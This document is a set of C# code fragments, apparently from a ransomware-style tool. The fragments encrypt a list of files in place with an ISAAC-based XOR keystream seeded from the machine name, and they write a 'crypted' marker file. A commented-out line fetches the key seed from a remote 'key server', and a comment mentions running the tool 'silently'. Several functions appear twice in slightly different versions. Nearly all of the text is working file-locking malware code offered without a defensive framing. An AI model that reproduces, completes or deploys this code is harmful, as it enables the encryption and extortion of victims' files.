private void CryptWindow_Load(object sender, EventArgs e) { BackgroundWorker back = new BackgroundWorker(); back.DoWork += delegate { ISAAC csprng = Crypt.PrepareKey(); if (csprng == null) { return; } foreach (string file in files) { if (Path.GetFileName(file) == "crypted") { continue; } Crypt.CryptFile(csprng, new byte[] { 0x54, 0x45, 0x53, 0x54, 0x4B, 0x45, 0x59 }, file); progress.Invoke((Action) delegate { progress.Value++; }); } }; back.RunWorkerCompleted += delegate { if (!decrypt && !File.Exists(Program.folder + "crypted")) { File.Create(Program.folder + "crypted").Close(); } else if (File.Exists(Program.folder + "crypted")) { File.Delete(Program.folder + "crypted"); } this.Close(); }; back.RunWorkerAsync(); }
public static ISAAC PrepareKey() { try { string seed; //using (WebClient w = new WebClient()) seed = w.DownloadString("http://someshittydomain.info/?getseed=" + Environment.MachineName); seed = Environment.MachineName; byte[] realseed = Encoding.UTF8.GetBytes(seed); ISAAC csprng = new ISAAC(); for (int i = 0; i < TUMBLE; i++) csprng.Isaac(); //Why not? for (int i = 0; i < realseed.Length; i++) csprng.mem[i] = realseed[i]; //Inject the seed into Isaac StringBuilder b = new StringBuilder(seed.Length); for (int i = 0; i < seed.Length; i++) b.Append(' '); seed = b.ToString(); //Zero-out seed for (int i = 0; i < realseed.Length; i++) realseed[i] = 0; //Zero-out readseed seed = null; realseed = null; //Push out of scope for GC for (int i = 0; i < TUMBLE; i++) csprng.Isaac(); //Some more tumbling return csprng; } catch (WebException) { MessageBox.Show("Key server unavailable.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return null; } catch { return null; } }
//XOR works both ways, so we don't need one function for Encrypting and one function for Decrypting, they're both the same thing for XORing public static void CryptFile(ISAAC csprng, byte[] subkey, string loc) { FileStream s = null; int[] oldmem = null; try { s = File.Open(loc, FileMode.Open, FileAccess.ReadWrite, FileShare.None); oldmem = new int[ISAAC.SIZE]; for (int i = 0; i < ISAAC.SIZE; i++) { oldmem[i] = csprng.mem[i]; //Fast copy } for (int i = 0; i < subkey.Length; i++) { csprng.mem[i] ^= subkey[i]; } byte[] buffer = new byte[ISAAC.SIZE]; int read = s.Read(buffer, 0, ISAAC.SIZE); do { csprng.Isaac(); for (int i = 0; i < read; i++) { buffer[i] = (byte)((buffer[i] ^ csprng.rsl[i]) % 256); } s.Seek(-read, SeekOrigin.Current); s.Write(buffer, 0, read); } while ((read = s.Read(buffer, 0, ISAAC.SIZE)) > 0); } catch (UnauthorizedAccessException) { return; } //Fixes crashes on files with the readonly attribute //catch { return; } //If you were to actually use this silently, however this can actually f**k up decryption bad so this will never be used. finally { if (s != null) { s.Close(); s.Dispose(); } if (oldmem != null) { csprng.mem = oldmem; csprng.Isaac(); } } }
public const int TUMBLE = 3; //Tumble ISAAC this many times before and after injecting the seed #endregion Fields #region Methods //XOR works both ways, so we don't need one function for Encrypting and one function for Decrypting, they're both the same thing for XORing public static void CryptFile(ISAAC csprng, byte[] subkey, string loc) { FileStream s = null; int[] oldmem = null; try { s = File.Open(loc, FileMode.Open, FileAccess.ReadWrite, FileShare.None); oldmem = new int[ISAAC.SIZE]; for (int i = 0; i < ISAAC.SIZE; i++) oldmem[i] = csprng.mem[i]; //Fast copy for (int i = 0; i < subkey.Length; i++) csprng.mem[i] ^= subkey[i]; byte[] buffer = new byte[ISAAC.SIZE]; int read = s.Read(buffer, 0, ISAAC.SIZE); do { csprng.Isaac(); for (int i = 0; i < read; i++) buffer[i] = (byte)((buffer[i] ^ csprng.mem[i]) % 256); s.Seek(-read, SeekOrigin.Current); s.Write(buffer, 0, read); } while ((read = s.Read(buffer, 0, ISAAC.SIZE)) > 0); } catch (UnauthorizedAccessException) { return; } //Fixes crashes on files with the readonly attribute //catch { return; } //If you were to actually use this silently, however this can actually f**k up decryption bad so this will never be used. finally { if (s != null) { s.Close(); s.Dispose(); } if (oldmem != null) { csprng.mem = oldmem; csprng.Isaac(); } } }
public const int TUMBLE = 3; //Tumble ISAAC this many times before and after injecting the seed public static ISAAC PrepareKey() { try { string seed; //using (WebClient w = new WebClient()) seed = w.DownloadString("http://someshittydomain.info/?getseed=" + Environment.MachineName); seed = Environment.MachineName; byte[] realseed = Encoding.UTF8.GetBytes(seed); ISAAC csprng = new ISAAC(); for (int i = 0; i < TUMBLE; i++) { csprng.Isaac(); //Why not? } for (int i = 0; i < realseed.Length; i++) { csprng.mem[i] = realseed[i]; //Inject the seed into Isaac } StringBuilder b = new StringBuilder(seed.Length); for (int i = 0; i < seed.Length; i++) { b.Append(' '); } seed = b.ToString(); //Zero-out seed for (int i = 0; i < realseed.Length; i++) { realseed[i] = 0; //Zero-out readseed } seed = null; realseed = null; //Push out of scope for GC for (int i = 0; i < TUMBLE; i++) { csprng.Isaac(); //Some more tumbling } return(csprng); } catch (WebException) { MessageBox.Show("Key server unavailable.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return(null); } catch { return(null); } }